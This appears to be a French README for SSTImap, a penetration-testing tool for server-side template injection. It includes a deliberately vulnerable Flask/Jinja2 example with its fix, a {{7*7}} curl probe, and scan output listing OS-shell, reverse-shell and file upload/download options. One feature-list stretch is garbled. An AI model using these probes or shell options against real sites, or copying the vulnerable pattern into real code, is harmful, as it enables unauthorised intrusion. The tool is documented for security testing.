
Outil de détection automatique de SSTI avec interface interactive
Ce projet est basé sur Tplmap.
SSTImap est un logiciel de test d'intrusion qui peut vérifier les sites web pour détecter les vulnérabilités d'injection de code et d'injection de modèles côté serveur (Server-Side Template Injection) et les exploiter, donnant ainsi accès au système d'exploitation lui-même.
Cet outil a été développé pour être utilisé comme un outil interactif de test d'intrusion pour la détection et l'exploitation de SSTI, ce qui permet une exploitation plus avancée. D'autres payloads pour SSTImap peuvent être trouvés ici.
Les payloads et techniques proviennent de :
Cet outil est capable d'exploiter certaines échappatoires de contexte de code et des scénarios d'injection aveugle. Il prend également en charge les injections de type eval() en Java, JavaScript, PHP, Python, Ruby et les moteurs de templates génériques non sandboxés.
Bien que ce logiciel soit basé sur le code de Tplmap, la compatibilité ascendante n'est pas assurée.
-i) permettant une exploitation et une détection plus faciles--genericEval_generic-x) ou d'une commande unique (-X)-h pour l'aideVoici un exemple de site web simple écrit en Python utilisant le framework [Flask][6] et le moteur de templates [Jinja2][7]. Il intègre la variable name fournie par l'utilisateur de manière non sécurisée, car elle est concaténée à la chaîne du template avant le rendu.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Non seulement cette façon d'utiliser les templates crée une vulnérabilité XSS, mais elle permet également à l'attaquant d'injecter du code de template, qui sera exécuté sur le serveur, conduisant à une SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
L'entrée fournie par l'utilisateur doit être introduite de manière sécurisée via le contexte de rendu :
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
SSTImap en mode prédéterminé est très similaire à Tplmap. Il est capable de détecter et d'exploiter les vulnérabilités SSTI dans plusieurs templates différents.
Après l'exploitation, SSTImap peut fournir un accès à l'évaluation de code, à l'exécution de commandes du système d'exploitation et aux manipulations du système de fichiers.
Pour vérifier l'URL, vous pouvez utiliser l'argument -u :
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Utilisez l'option --os-shell pour lancer un pseudo-terminal sur la cible.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell